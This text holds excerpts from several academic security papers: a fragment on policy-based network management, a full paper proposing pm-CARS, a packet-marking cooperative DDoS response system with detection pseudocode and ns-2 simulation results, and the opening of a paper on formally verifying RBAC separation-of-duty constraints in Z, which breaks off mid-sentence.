article, expands the PBNM by service modeling and resource selecting. This model 
has ability to create and control new policy service in large-scale network 
environment. Another important point of this model, as to guarantee security policy, 
is to separate the service and its implementation by using the efficient implementation 
mechanism based on rule engine. It has been used and proved in several projects. 
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Abstract. The security vulnerabilities in a network environment and their cor-
responding countermeasures have become more critical issues than ever. Al-
though many researchers and vendors have introduced powerful mechanisms 
such as Intrusion Detection System (IDS) or Intrusion Prevention System (IPS) 
for network security, the packet-based decision is not always correct, especially 
when those systems are involved in network traffics across multiple organiza-
tions under different security policies. In fact, some legitimate (normal) net-
work traffics produce a similar pattern to that of malicious traffics such as Dis-
tributed Denial of Service (DDoS), and vice versa. We call those traffics suspi-
cious. Suspicious traffic cannot be clearly designated as malicious or normal 
traffic. Since traditional IDS or IPS approaches make a simple binary decision 
(i.e., allow or reject) based on pre-defined rules, there is a high possibility that 
suspicious/legitimate packets are rejected or suspicious/malicious packets are 
allowed. To enhance the quality of service in a network environment, we pro-
pose in this paper a Packet Marking-Based Cooperative Attack Response Ser-
vice (pm-CARS) that is able to effectively deal with suspicious network traffic. 
pm-CARS nodes cooperate with each other by using packet-marking. These 
pm-CARS nodes mark suspicious packets instead of dropping them. All the 
marked packets are forwarded to the next node using a low priority of service 
designation, which indicates the drop probability is very high. Our pm-CARS 
includes two schemes: abnormal IP address detection and abnormal excess traf-
fic detection schemes. Our pm-CARS can reduce the false-positive rate and can 
protect the quality of service for innocent traffic from attacks. Finally, we simu-
late our ideas in a network environment and discuss the evaluation results. 

Keywords: Network Security, Attack Response, Denial of Service Attack, 
Packet Marking, Quality of Service. 

1   Introduction 

Within the framework of intrusion detection, network traffic can be divided into three 
kinds of traffic: innocent, malicious, and suspicious traffic. Innocent traffic is one 
generated by a normal user. Malicious traffic is one generated by a malicious user 
(i.e., attacker). Suspicious traffic is one that cannot be definitively categorized as 
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malicious or normal traffic. It is very easy to deal with normal and malicious traffic. If 
an incoming packet is normal, it will be delivered to the destination node. On the 
other hand, if an incoming packet is malicious, it will be dropped. However, suspi-
cious traffic does not fall neatly into either of those two scenarios and, thus, presents a 
challenge to the system. If we simply drop suspicious traffic, this may result in a 
false-positive problem. 

The typical example of suspicious traffic is Distributed Denial of Service (DDoS) 
attack [1] [2] traffic. The nature of a DDoS attack makes it difficult to determine 
whether a packet is malicious. For example, the property of Peer-to-Peer (P2P) [3] 
and flash crowd [4] traffic, which is found in innocent traffic, is actually similar to 
that of DDoS traffic. A DDoS attack denies legitimate users access to a service by 
monopolizing network/system resources, resulting in network/system congestion. The 
damage caused by a DDoS attack is great because it highly degrades the Quality of 
Service (QoS) for a legitimate user. 

The introduction of IDS/IPS as viable security systems for preventing suspicious 
traffic (DDoS traffic) [5] has only limited effectiveness. Most of such security sys-
tems consider only the customer network as the security area. We argue that not only 
customer network, but also the ISP (Internet Service Provider) network should be 
included in the security area in order to effectively handle suspicious traffic. A DDoS 
attack degrades not only the QoS for legitimate user getting service of a victim sys-
tem, but also the QoS for outsider getting service of different system with the victim 
system. This is why we should include ISP network in the security area, and why we 
need a cooperative security architecture in which security systems can communicate 
with each other. 

We will examine two products, Pushback [6] and Throttle [7], as possible coopera-
tive architectures. Pushback uses an attack-detecting router to communicate with its 
adjacent upstream routers to rate-limit attack traffic. On the other hand, Throttle em-
ploys a scheme in which a server under stress installs a router throttle (e.g. leaky-
bucket) at selected upstream routers. Both architectures have merits. But, each is 
likely to have weak points in determining precise rate-limit value, in attack response 
speed, and in requiring new protocol between routers. 

This paper proposes a Packet Marking-Based Cooperative Attack Response  
Service (pm-CARS) that is able to effectively deal with suspicious network traffic. 
Our pm-CARS can reduce the false-positive problem and protect perfectly QoS for 
innocent traffic from attacks, even without requiring new protocol between security 
systems. 

The rest of this paper is organized as follows. Section 2 overviews DDoS attacks 
and pushback architecture. Section 3 and 4 describe our pm-CARS and two DDoS 
detection mechanisms in detail, respectively. The performance of pm-CARS is evalu-
ated in section 5. Finally, the conclusion is given in section 6. 

2   DDoS Attacks and Prevention Architecture 

A DDoS attack is a challenging issue for ISPs and content providers alike. A DDoS 
attack involves a large number of attacking hosts simultaneously overwhelming a 
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victim. Under DDoS attacks, it is almost impossible for legitimate users to get their 
fair share of available network resources. 

Malicious users execute DDoS attacks by combining several well-known schemes 
such as TCP SYN flooding, UDP flooding, and ping of death [8]. They typically use 
IP spoofing (i.e., using a faked source address in an IP packet) and generate huge 
volumes of traffic [1]. We believe that both blocking IP spoofing packet and control-
ling DDoS traffic is one of the best solutions for defeating DDoS attacks. 

Generally, determining whether a packet is part of a DDoS attack is difficult for 
three reasons. First, the criteria to determine whether a packet is part of a DDoS attack 
is relative. For example, we can easily imagine a scenario that real DDoS traffic is 
regarded as innocent traffic because it does not result in any congestion on a node 
with abundant network resources. On the contrary, normal traffic may be regarded as 
attack traffic if a normal user is trying to get better network service from a node with 
poor network resource and finally results in congestion on the node. Secondly, smart 
attackers may change the traffic generation pattern at their will so as not to be easily 
detected. The last reason is that a certain kind of innocent traffic is very similar to 
DDoS traffic in traffic property. For example, the property of Peer-to-Peer (P2P) and 
flash crowd traffic, which is found in innocent traffic, is actually similar to that of 
DDoS traffic. 
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Fig. 1. Pushback architecture 

As a cooperative architecture for alleviating the impact of DDoS attacks, a 
pushback [6] has been proposed. In pushback, the congested router asks its adjacent 
upstream routers to rate-limit the attacking aggregate flow. This request is sent only  
to the contributing neighbors that have been sending a significant fraction of the ag-
gregate traffic. The receiving routers can recursively propagate pushback further  
up-stream. Fig. 1 illustrates pushback mechanism. R0 detects the DoS attack and 
sends a pushback message to R1 and R2 for the purpose of protecting normal traffic 
coming from R3. Pushback propagates from R0 to R1 and R2, and subsequently to  
R4 and R6. 

3   Packet Marking-Based Cooperative Attack Response Service 

Fig. 2 shows the architecture of pm-CARS node. The pm-CARS consists of four mod-
ules as follows: 
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− Packet-filter: provides a function to filter a malicious packet (i.e. attack packet) 
detected by a threat-detector. 

− Packet-marker: provides a function to mark a suspicious packet detected by the 
threat-detector. The marked packet is provided with a low priority of service des-
ignation. 

− Packet-forwarder: offers three kinds of different packet-forwarding service: Low 
Priority of Service (LPS), Medium Priority of Service (MPS), and High Priority of 
Service (HPS). 

− Threat-detector: detects network attacks (In this paper, it focuses on DDoS at-
tacks). 
 
In this paper, we propose two kinds of attack detection mechanisms, which operate 

on the threat-detector: abnormal-IP-address-detector and abnormal-excess-traffic-
detector. The abnormal-IP-address-detector has a mechanism that is able to detect 
abnormal flow with a fake source IP address or unusable destination IP. Abnormal-
excess-traffic-detector has a mechanism that is able to detect DDoS attack traffic. 
Abnormal-IP-address-detector is executed at the edge node of networks, not at the 
core node. However, the abnormal-excess-traffic-detector may be executed not only 
at edge node of networks, but also at core node. 
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Fig. 2. Architecture of a pm-CARS node: A malicious packet is dropped at the packet-filter. A 
suspicious packet is marked at the packet-marker. A marked suspicious packet is forwarded to 
the next node using LPS or MPS at the packet-forwarder. An innocent packet is forwarded 
using HPS. 

Fig. 2 details the traffic flow through pm-CARS. When a packet arrives at a pm-
CARS node, abnormal-IP-address-detector inspects the incoming packet to determine 
whether it is a malicious packet that belongs to the abnormal flow or a suspicious 
packet with an abnormal IP address. If it is a malicious packet, it is dropped at the 
packet-filter. If it is a suspicious packet, it is labeled at the packet-marker. The suspi-
cious packet marked by the abnormal-IP-address-detector or the upstream pm-CARS 
node is then forwarded to the next node using LPS at the packet-forwarder.  
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The unmarked incoming packet that evades the abnormal-IP-address-detector is  
inspected by the abnormal-excess-traffic-detector. If the abnormal-excess-traffic-
detector says that the incoming packet is a suspicious packet, it is marked and  
forwarded to the next node using MPS at the packet-forwarder. The unmarked incom-
ing packet that successfully passes the threat-detector is forwarded using HPS.  

Under pm-CARS, malicious attack traffic is blocked, suspicious traffic gets LPS or 
MPS, and innocent traffic gets HPS. Currently, one of the greatest issues in handling 
DDoS traffic is the false-positive problem in which traffic, judged to be malicious, is 
innocent traffic in reality. Our pm-CARS does not drop the suspicious packet, but 
provides it with minimum network resources (i.e., LPS). This strategy may be very 
helpful in weakening the false-positive problem. 

Fig. 3 shows an example of pm-CARS. When network congestion occurs in R4, a 
part of the DDoS traffic is judged malicious and the rest of DDoS traffic is judged 
suspicious. The malicious DDoS traffic is dropped and the suspicious DDoS traffic is 
marked. Even if the marked suspicious DDoS traffic is forwarded to its next node, it 
is finally dropped in R0. 

 

Fig. 3. An example of pm-CARS: network congestion occurs on R4, R2, and R0 

To support our packet-marking concept proposed in this paper, we need a field in 
IP header. There is the Type of Service (ToS) field in IP header to show precedence 
and the ToS for a packet. The ToS field is now used by Differentiated Service (Diff-
Serv) [9]. The six most signification bits of the ToS byte are now called the DiffServ 
field.  The last two Currently Unused (CU) bits are now used as Explicit Congestion 
Notification (ECN) bits. Until now, DS0 in DiffServ Field was always 0 [10][11]. We 
are now investigating whether it is possible to use DS0 bit or ECN as marking bit. 

4   DDoS Attack Detection Mechanisms 

Even if it is possible to employ the existing mechanisms as an attack detection algo-
rithm for the threat-detector of pm-CARS, we've developed schemes for an abnormal-
IP-address-detector and abnormal-excess-traffic-detector. 
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4.1   Scheme for Abnormal IP Address Detector 

One of the most common forms of network intrusion is network scan and most net-
work attacks start with a fake source IP. Network scan is used to determine the con-
figuration of victim networks [12]. The attacker is interested in identifying active 
hosts and application services that run on those hosts. To detect a network scan attack, 
the existing several schemes observe whether a TCP connection request succeeds or 
fails [13][14]. Those schemes rely on the fact that only a small fraction of addresses 
generated randomly by scanners are likely to respond to a connection request. So, if 
the failure count or the rate of the connection requests initiated by a source is very 
high, then the source is regarded as network scanner. Those approaches, however, 
may generate false alarms because the connection requests initiated by a normal user 
may fail by reason of network congestion, destination system failure, and etc. 

IP spoofing is used to hide an attacker’s identity by sending IP packets with forged 
source IP addresses [15]. IP spoofing is commonly found in a DDoS attack. Cur-
rently, unicast Reverse Path Forwarding (uRPF) [16] is commonly used to detect 
attack packets with fake source IP addresses. But, uRPF’s effectiveness is limited in 
cases where the source IP address of attacker is spoofed to that of other hosts on the 
same subnet. This is because it uses a routing table that has location information not 
from a host, but from a group of hosts. 
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Fig. 4. Strategy for detecting network scan and IP spoofing attacks 

Fig. 4 shows our strategy for detecting a network scan and IP spoofing attacks. We 
pay attention to the fact that packets with abnormal IP address are occasionally found 
in network scanning attacks and IP spoofing attacks. For example, in Fig. 4, the sys-
tem, S, is sending packets to a stub (customer) network. But, two of the packets use 
abnormal destination IP addresses (i.e., 3 and 5), which are not working (or do not 
exist). So, we can know that S is network a scan attacker. Similarly, if someone gener-
ates a packet with source IP address, 3, we can know that the source IP address is 
spoofed because 3 is the IP address of a non-working system (or non-existing system). 

We have developed an abnormal IP address detection scheme based on the fact. 
First of all, our scheme uncovers active information about the host such as incoming 
interface number, whether it is working as a Web server, whether it is working as a 
DNS server, etc., by collecting and verifying flow information on networks. 
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When a packet arrives, our scheme determines whether it is suspicious by inspect-
ing the source and destination IP addresses of the incoming packet and comparing that 
against the active host information table. If the source IP address of the incoming 
packet is not found in the active host information table, it is considered a suspicious 
packet generated for source IP spoofing attack. If the destination IP address of the 
incoming packet is not found in the active host information, it is thought of as a suspi-
cious packet for a network scan attack. Finally, if both source IP and the destination 
IP address of the incoming packet are not found in the active host information, it is 
thought of as a suspicious packet for a random attack.  

PROCEDURE  IP-Abnormity-based-Packet-Forwarding (InPacket, TDRes, NormalUserList)

// InPacket : The incoming packet.
// TDRes : The threat detection results for the source & destination IP of the incoming packet.
// NormalUserList : a list of normal users to protect

IF ( TDRes.srcIP = Normal && TDRes.dstIP = Normal )  THEN
// a packet with normal IP address
append the source IP and destination IP of InPacket to NormalUserList.
return InPacket to the next attack detector (i.e., abnormal excess traffic detector)

ELSE     // a packet with abnormal IP address
mark InPacket as a suspicious packet.
forward InPacket to the next node using the medium priority queue (i.e. MPQ)

END IF

// The following may be optionally executed according to the security policy of 
// the security administrator
IF (TDRes.srcIP = Normal && TDRes.dstIP = Abnormal )  THEN

// The source IP is suspected of one for network scan attacker. 
If the source IP's abnormality count exceeds a THRESHOLD defined by policy,  
then the packets with the source IP may be blocked during a given time.

ELSE IF (TDRes.srcIP = Abnormal && TDRes.dstIP = Normal )  THEN
// The destination IP may be a victim of source IP spoofing attacker.
If the destination IP's victim count exceeds a THRESHOLD defined by a policy, 
then the packets with a source IP that does not find in Normal_User_List may be blocked
during a given time.

ELSE IF (TDRes.srcIP = Abnormal && TDRes.dstIP = Abnormal )  THEN
// It may be a random attack.
If the random attack count exceeds a THRESHOLD defined by policy,
then only the packets with IP found in Normal_User_List are allowed 
to use network service during a given time.

END IF

END IP-Abnormity-based-Packet-Forwarding  

Fig. 5. IP-Abnormity-based-Packet-Forwarding Algorithm: This is executed in the abnormal-
IP-address detector 

In our scheme, a suspicious packet with an abnormal IP address is marked and 
provided with an MPS to reduce false-positive problem. However, if the count of 
suspicious packets exceeds a threshold, then the suspicious packets may be regarded 
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as ones for real attack and blocked by calling the packet-filter. Fig.5 shows an  
algorithm for determining the service queue of the incoming packet, based on IP  
abnormity. 

4.2   Scheme for Abnormal Excess Traffic Detector 

Generally, it is very difficult to distinguish between DDoS traffic and normal traffic 
because selfish normal users using P2P service and flash crowd generate a huge vol-
ume of traffic similar to DDoS traffic. Smart attackers may change traffic generation 
patterns at their will so as not to be easily detected. Even if the object of a DDoS 
attacker and selfish normal user differs from each other, their effect is similar. That is, 
the ultimate object of a DDoS attacker is to attack a victim system. On the other hand, 
the ultimate object of selfish normal user is to get better network resources. But the 
activities of both the DDoS attacker and the selfish normal user result in network or 
system congestion. 

For this reason, we believe that it is almost impossible to consistently distinguish 
between DoS traffic and normal selfish traffic. So, we take no interest in determining 
which traffic is DDoS. Instead, we focus on determining which traffic damages the 
QoS of other traffic. We define abnormal excess traffic as one that damages the QoS 
of other traffic by generating a huge volume of traffic without any consideration of 
the state of the network. 

We determine abnormal excess traffic using a traffic classification system called 
source network IP address-based traffic trunk (STT). STT indicates an aggregate of 
flows with the same source IP network address. The granularity of STT depends on 
the size of the source IP address prefix. We define normal traffic and abnormal excess 
traffic as follows: 
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In this definition, all the STTs are sorted by network load. STTi is normal traffic, if 
sum of load of STTs from STT0 to STTi is equal or less than MaxLoadThreshold. 
Otherwise, STTi is abnormal excess traffic. MaxLoadThreshold indicates the maxi-
mum resource allocated/reserved for normal traffic 

Our strategy for controlling abnormal excess traffic is to keep the sum of the load 
of normal STTs from exceeding MaxLoadThreshold and to provide them with better 
service than abnormal excess STTs. This will localize the effect of network conges-
tion only to abnormal excess traffic. In our scheme, a normal STT gets HPS in packet 
forwarding service, while abnormal excess STT is marked and gets MPS. 

We propose an algorithm as shown in Fig. 6, which is capable of quickly determin-
ing the service queue of the incoming packet and its STT according to the STT aver-
age bandwidth. The proposed procedure has several parameters such as InPacket, 
STTI, HPQ_ResidualBw, STTP, STTD. InPacket means the incoming packet. STTI 
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contains information about a STT that the incoming packet belongs to. 
HPQ_ResidualBw indicates the residual bandwidth in HPQ. In initial time, 
HPQ_ResidualBw is set to the maximum bandwidth (i.e., MaxLoadThreshold) that 
can be allocated for normal traffic. STTP is a STT pointer that indicates a STT to 
promote foremost of all the MPQ-served STTs in case that one of them has to be 
changed to HPQ in the service queue. And STTD is a STT pointer that indicates a STT 
to demote foremost of all the HPQ-served STTs in case that one of them has to be 
changed to MPQ in the service queue. 

PROCEDURE STT-based-Packet-Forwarding (InPacket, HPQ_ResidualBw, *STTP, *STTD)
// InPacket : The incoming packet.
// HPQ_ResidualBw: residual bandwidth in HPQ. Initially, it’s set to MaxLoadThreshold.
//  STT (source IP-based traffic trunk) : has information about its service queue and its bandwidth.
// *STTP : is a pointer that indicate a STT to promote foremost of all the MPQ-served STTs
// *STTD : is a pointer that indicate a STT to demote foremost of all the HPQ-served STTs

STTI ← classify-packet (InPacket)    // looking for STTI that the incoming packet belongs to.

IF ( time to calculate the average bandwidth of STTI )  THEN
prvBw ← STTI.bw
calculate-STT-BW (STTI)     // calculate the average bandwdith of STTI (i.e. STTI.bw)

IF ( STTI.sq = ‘MPQ’ &&  STTI.bw ≤ HPQ_residualBw )  THEN
STTI.sq ← ‘HPQ’ // High Priority Queue
HPQ_ResidualBw ← HPQ_ResidualBw − STTI.bw

ELSE IF ( STTI.sq = ‘HPQ’) THEN
HPQ_ResidualBw ← HPQ_ResidualBw − (STTI.bw − prvBw)
IF ( HPQ_ResidualBw < 0 )

STTI.sq ← ‘MPQ’ // Medium Priority Queue
HPQ_ResidualBw ← HPQ_ResidualBw + STTI.bw

END IF
END IF

END IF

IF (STTI.sq = ‘HPQ’ && STTI.bw > *STTD.bw )             THEN  STTD ← &STTI
ELSE IF (STTI.sq = ‘MPQ’ && STTI.bw < *STTP.bw )   THEN  STTP ← &STTI
END IF

IF (*STTD.bw > *STTP.bw ) THEN
HPQ_ResidualBw ← HPQ_ResidualBw + (*STTD.bw − *STTP.bw)
*STTD.sq ← ‘MPQ’;          *STTP.sq ← ‘HPQ’

END IF

IF ( STTI.sq = ‘MPQ’ ) THEN mark InPacket as a suspicious packet.
END IF

forward InPacket to the next node using STTI.sq

END STT-based-Packet-Forwarding  

Fig. 6. Algorithm for determining the service queue of the incoming packet and its STT: This is 
executed in Abnormal-Excess-Traffic detector 

The proposed algorithm, STT-based Packet Forwarding is executed whenever a 
packet arrives. Firstly, the algorithm decides when it is time to calculate the average 
bandwidth of the STTI that corresponds to the incoming packet, and then calculates 
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the bandwidth. If the service queue of the STTI is MPQ and there is residual band-
width (i.e., HPQ_ResidualBw) for it, then its service queue is changed to HPQ. On 
the contrary, even if the current service queue of the STTI is HPQ, if the increased 
bandwidth of the STTI is greater than the residual bandwidth, then its service queue is 
changed to MPQ. Without regard to STT bandwidth calculation time, the proposed 
algorithm is always trying to have the STTP point to a STT that consumes the least 
bandwidth of MPQ-served STTs. Conversely, the algorithm attempts to point the 
STTD to a STT that consumes the most bandwidth of HPQ-served STTs. If the aver-
age bandwidth of STTD is greater than that of STTP, the service queue of STTD is 
changed to MPQ and the service queue of STTP is changed to HPQ. The service 
queue of the incoming packet is determined according to that of its STT. If the service 
queue of the incoming packet is MPQ, then the packet is marked as a suspicious 
packet. 

The proposed algorithm satisfies the definition of normal and abnormal excess  
traffic defined above quickly without using a time-consuming operation such as sort. 

5   Performance Evaluation 

In order to evaluate the performance of pm-CARS, we implemented pm-CARS on ns-
2 simulator [17]. In this simulation, we used Class-based Queuing (CBQ) to imple-
ment the HPS, MPS and LPS in packet forwarding service. 
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Fig. 7. Network topology for simulations 

Fig. 7 shows the network topology for simulations. In this paper, we use three at-
tack scenarios: DDoS attack for paralyzing a target system, DDoS attack accompa-
nied with source IP spoofing attack, and DDoS attack for paralyzing networks. For 
the first scenario, all attackers from A1 to A9 send a huge volume of UDP or TCP 
traffic to a victim system, V. For the second scenario, three attackers, A1, A4, and A7 
generate TCP traffic with fake source IP address, and send it to a victim system, V. 
Finally, for the last scenario, each attacker from A1 to A9 selects a target system 
uniformly and randomly, and sends a huge volume of UDP traffic to the system. In all 
scenarios, legitimate user, L sends UDP or TCP traffic to the victim system, V, and 
outsider, O sends UDP or TCP traffic to the server system, S. 
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Fig. 8. Performance of each scheme during DDoS Attack for paralyzing a target system: X axis 
and Y axis indicate time (second) and throughput (Mbps), respectively 
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Fig. 9. Performance of each scheme during DDoS attack accompanied with IP spoofing attack  

Fig. 8 shows the simulation results of default, Pushback, and pm-CARS during a 
DDoS attack against a target system. Fig. 8-(a) depicts the results of legitimate users 
and outsiders using UDP traffic. Fig. 8-(b) shows the results of when they use TCP 
traffic. In default, DDoS attackers consume most of network resources (i.e., link 
bandwidth). This causes massive decreases in throughput of legitimate user and out-
sider traffic. Pushback protects only normal UDP traffic generated by legitimate users 
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and outsiders from DDoS attack, and it also performs slowly as shown in Fig. 8-(a). 
The throughput of Pushback is poor in normal TCP traffic because TCP decreases its 
transmission rate when it detects network congestion. This means Pushback has diffi-
culty in determining precise rate-limit value. Our pm-CARS protects not only the 
normal UDP traffic of legitimate users and outsiders but also the normal TCP traffic 
from a DDoS attack, as shown in Fig. 8. 

Fig. 9 shows the simulation results of default, Pushback, and pm-CARS during a 
DDoS attack, accompanied with an IP spoofing attack. Even if Pushback is strong  
in an IP spoofing attack, it has a disadvantage in its somewhat slow response. The  
pm-CARS performs better, as shown in Fig. 9. 
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Fig. 10. Performance of each scheme during DDoS Attack for paralyzing networks  

Fig. 10 shows the simulation results of default, Pushback, and pm-CARS during a 
DDoS attack against networks. The throughput of Pushback is not bad during a DDoS 
attack against networks. But, the performance of Pushback is worse in a DDoS attack 
against networks than in a DDoS attack against a system. This is because a DDoS 
attack against networks brings about multiple concurrent occurrences of network 
congestion in which the response policy of an upstream router conflicts with that of a 
downstream router. Our pm-CARS protects traffic of legitimate users and outsiders 
from a DDoS attack against networks, as shown in Fig. 10. Our pm-CARS provides 
almost the full bandwidth that users request. 

Fig. 11 shows the simulation results of default, Pushback, and pm-CARS during 
DDoS attack using a UDP on-off traffic pattern. As we mentioned in section 2, smart 
attackers can control attacking traffic at their will, so they won’t be detected by a 
security system. In default, normal and outsider traffic is seriously affected by DDoS 
traffic, as shown in Fig. 11. Even if the throughput of Pushback is better than that of 
the default, Pushback does not protect normal and outsider traffic from a DDoS at-
tack. This indicates that Pushback is not fast in determining the exact rate-limit value 
for blocking attack traffic and in applying the response policy to network nodes. Our 
pm-CARS protects traffic of legitimate users and outsiders from a DDoS attack 
against networks almost infallibly, as shown in Fig. 11. Table 1 shows the 
performance comparison of Pushback and pm-CARS based on the simulation results. 
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Fig. 11. Performance of each scheme during DDoS Attack using on-off traffic pattern 

Table 1. Performance comparison of Pushback and pm-CARS 
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6   Conclusion 

In this paper, we proposed pm-CARS as a cooperative security architecture, which is 
capable of effectively dealing with suspicious network traffic. And, we also proposed 
two novel DDoS attack prevention mechanisms, which are able to defeat attacks that 
generate abnormal excess traffic and attacks that use abnormal IP flow. 

We simulated our pm-CARS and the existing scheme to evaluate their perform-
ance. The simulation results demonstrate that pm-CARS can protect the quality of 
service for legitimate users from simple DDoS attacks. A more importantly,  
pm-CARS protects legitimate users from compound DDoS attacks that accompany IP 
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spoofing attack, and result in multiple concurrent network congestion. Our future 
work aims to implement and verify pm-CARS on real networks. 
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Abstract. Formal method provides a way to achieve an exact and con-
sistent definition of security for a given scenario. This paper presents a
formal state-based verifiable RBAC model described with Z language, in
which the state-transition functions are specified formally. Based on the
separation of duty policy, the constraint rules and security theorems are
constructed. Using a case study, we show how to specify and verify the
consistency of formal RBAC system with theorem proving. By specifying
RBAC model formally, it provides a precise description for the system
security requirements. The internal consistency of this model can be val-
idated by verification of the model.

Keywords: Formal Specification, Verification, RBAC, Separation of
Duty.

1 Introduction

Formal methods can provide a precise and concise means of representing design
requirements due to their mathematically-based notation. Therefore, they avoid
some of the ambiguity that can arise in natural language specifications. Formal
specifications can now be employed as an effective technique for system develop-
ment, especially for safety-critical systems [1]. In these systems security should be
firstly defined and security properties can be proved using formal methods[2].In
this paper, we emphasize on analyzing security policy for role-based access con-
trol(RBAC) by formal methods. Security policy determines whether the subject’s
request on access some objects is allowed or denied by a set of constraint rules.

Since Sandhu et al. presented the RBAC model systemically in 1996 [3], this
model has been widely accepted and used in various access control systems. In
2004, American National Standard for RBAC was published[4]. Many variants
derive from RBAC model by adding various properties, such as time and location
constraints. Separation of Duty(SoD) property is one of important constraints,
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which requires that different users are responsible for a task to prevent the
roles/users from being authorized too much permission at the same time. For
example, in an account system, an accountant role may conflict with a teller
role. They cannot be assigned to the same user to avoid violating SoD policy. In
this paper constraints mainly come from separation of duty policy.

There is considerable work to specify or verify RBAC model, such as using
ALLOY[6], Colored Petri-Net[5], Z language[7], first-order linear temporal logic
(LTL)[8], graph technique[9] and the description logic language ALCQ[10]. We
present a state-based verifiable formal RBAC model. Its security constraints,
derived from separation of duty policy, are used to verify the consistency of
model. By verifying the security of state and state-transition, it keeps the tran-
sition of RBAC state space in a secure manner. The objectives of our work are
to provide concise and unambiguous specifications for developing RBAC sys-
tem and to give an approach to constructing and proving theorems according to
security properties and constraints. Our work mainly comes from development
of a secure operating system SECIMOS, where security models are specified
in Z language[11][12]. In this paper, we also use the software Z/EVES[13][14],
which is a powerful modeling and analysis tool supporting Z specifications, for
specifications and theorem proving.

The paper is organized as follows. Section 2 gives a brief overview of RBAC
model, separation of duty policy and introduction of Z language and Z/EVES.
Section 3 presents a formal state-based RBAC model and specifies two typical
operation functions that trigger state transition. The constraint rules and secu-
rity theorems for these functions are constructed and proved. In section 4, taking
a practical system scene as an example, we discuss how to verify the consistency
of system according to constraints of separation of duty. Section 5 provides re-
lated works and discusses our method. Section 6 concludes this paper and gives
future work.

2 RBAC Model and Z

2.1 RBAC Model and Constraints of Separation of Duty

The elements in RBAC model[4] are defined as follows:

Definition 1. RBAC Model includes following elements:

- USERS, ROLES, OPS, OBJS, the set of users, roles, operations and objects
respectively;

- PERMS = 2(OPS×OBJS), the set of permissions
- RH ⊆ ROLES × ROLES, a partial order on ROLES called inheritance

relation.
- UA ⊆ USERS ×ROLES, a many-to-many mapping user-to-role assignment

relation.
- assigned users(r : ROLES ) → 2USERS , the mapping of role r onto a set of

users;
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- assigned roles(u : USERS ) → 2ROLES , the mapping of user u onto a set of
roles.

- Op(p : PERMS ) → op ⊆ OPS, the permission-to-operation mapping, which
gives the set of operations associated with permission p.

- Ob(p : PERMS ) → ob ⊆ OBS, the permission-to-object mapping, which
gives the set of objects associated with permission p.

- PA ⊆ PERMS × ROLES, a many-to-many mapping permission-to-role as-
signment relation.

- assigned perms(r : ROLES ) → 2PERMS , the mapping of role r onto a set of
permissions.

- session users(s : SESSIONS ) → USERS, the mapping of session s onto
user.

- session roles(s : SESSIONS ) → 2ROLES , the mapping of session s onto a
set of roles.

- avail session perms(s : SESSIONS ) → 2PERMS , the permissions available
to a user in a session

Two functions are added to express the effective permissions being authorized to
the user and roles being authorized to the user in the presence of role hierarchy:

- authorized perms(r : ROLES ) → 2PERMS , the authorized effective permis-
sions of role r ;

- authorized roles(u : USERS ) → 2ROLES , the authorized effective roles of
user u.

In the ANSI RBAC model, it classifies the roles conflicts into SSoD (Static
Separation of Duty) and DSoD (Dynamic Separation of Duty). Besides conflict
among roles, conflicts among permissions also exist in RBAC model due to sepa-
ration of duty policy. To express and implement constraints of conflicts, mutual
exclusion relation is introduced in our model[15]. If two elements conflict, we
say that they are mutual exclusive. In addition, the role cardinality is usually
employed to express the maximum number of role being assigned to users, such
as role manager cannot be assigned to more than one user. These types of con-
straints are defined as follows:

1. Permission-Assignment Conflict Constraint: conflicting permissions
cannot be assigned to the same role.

2. Role-Based Static Separation of Duty Constraint: conflicting roles
cannot be assigned to the same user.

3. Role-Based Dynamic Separation of Duty Constraint: conflicting roles
cannot be activated in the same session.

4. Cardinality constraint: the number of users that can be assigned to a role
should be less than the cardinality of the role.

Note that mutual exclusion is non-reflexive, symmetric and non-transitive rela-
tion. It means that a role do not conflict with itself. If role A conflict with B ,
B will conflict with A. If the role A conflict with B and B conflict C , A and C
maybe do not conflict. When defining and verifying the security of RBAC sys-
tem, we mainly consider these constraints defined above. The system is secure
or consistent if and only if the above constraints are satisfied.
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2.2 Z Language and Z/EVES Theorem Prover

Z language is very powerful and suitable to model state-based systems, which is
the case in this paper. Owing to this “model oriented” specification language, the
model of the system is given by describing the state of the system, together with
a number of operations over that state. Z language is based on ZF set theory and
first-order predicate logic[12]. The basic element is schema, which consists of a
set of declarations and predicates. The specifications are composed of a series of
schemas. Every schema defines an abstract object or operation. The predicate
describes the semantic constraint of the object and operation. When defining a
variable which is itself a set, its type will be a set of sets. Since many variables in
Z specifications are sets, a special notation power set is used for this. If S is a set,
PS denotes the set of all subsets of S , or the power set of S . Every relation has
a domain and range, denoted by “dom” and “ran” respectively.Z schemas can
be specified using other schemas with the Δ and Ξ conventions when specifying
operations that respectively change the state or leave the state unchanged.

Z/EVES theorem prover combines automatic strategies and detailed user
steps, allowing for a collaborative effort in completing a proof[13][14]. The prover
has an automatic mode which can prove many simple theorems. During the prov-
ing steps, it requires that people should give proof hints to machine sometimes.
It offers some powerful automatic commands for proving theorems (e.g., prove
or reduce).

3 Specification and Verification of Formal RBAC Model

3.1 RBAC State Model and Secure State Transition

We define the RBAC model as a state-based model. Constraints of conflicts are
added into the model, which determine whether the transition of state functions
can be done.

Definition 2. RBAC state model is a tuple [USERS, ROLES, OPS, OBJS,
SESSIONS, UA, PA, RH, CC], where USERS, ROLES, OPS, OBJS, SESSIONS
are the set of users, roles, operations, objects and sessions respectively; UA and
PA are assignment relations of user to roles and permission to roles respectively;
RH is role hierarchy relation; CC is set of constraints of conflicts.

The sets of states are denoted by STATES . The state transitions are triggered
by administrators and users performing operations. Each operation needs one or
more arguments denoted by ARGS . The transition function is a partial function:

Ψ : STATES × OPS × 2ARGS → STATES

Ψ(s , op, args) = s ′ if and only if the RBAC system goes from state s to state s ′

by performing operation op with arguments args on the sets and functions. The
transition of RBAC state space depends on the operations of functions. There
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are three categories of functions: administrative functions, supporting system
functions and review functions[4]. The functions in the former two categories
can induce the transition of RBAC state. This paper only focuses on those state-
transition functions with constraints of conflicts. Therefore, the operations that
trigger system state transition are included in the set OPS . This set contains
administrative operations, such as add a user and remove a user, etc., as well as
operations to add/remove active roles, which may be initiated by users.

OPS = {AddUser, DeleteUser, AddRole, DeleteRole, AssignUser, Deassign-
User, GrantPermission, RevokePermission, CreateSession, DeleteSession, Add-
ActiveRole, DropActiveRole, AddInheritance, DeleteInheritance, AddAscendant,
AddDescendant, CreateSsdSet, AddSsdRoleMember, DeleteSsdRoleMember,
DeleteSsdSet, SetSsdSetCardinality, CreateDsdSet, AddDsdRoleMember, Delet-
eDsdRoleMember, DeleteDsdSet, SetDsdSetCardinality}

There are three state-related notations defined as follows: initial state is the
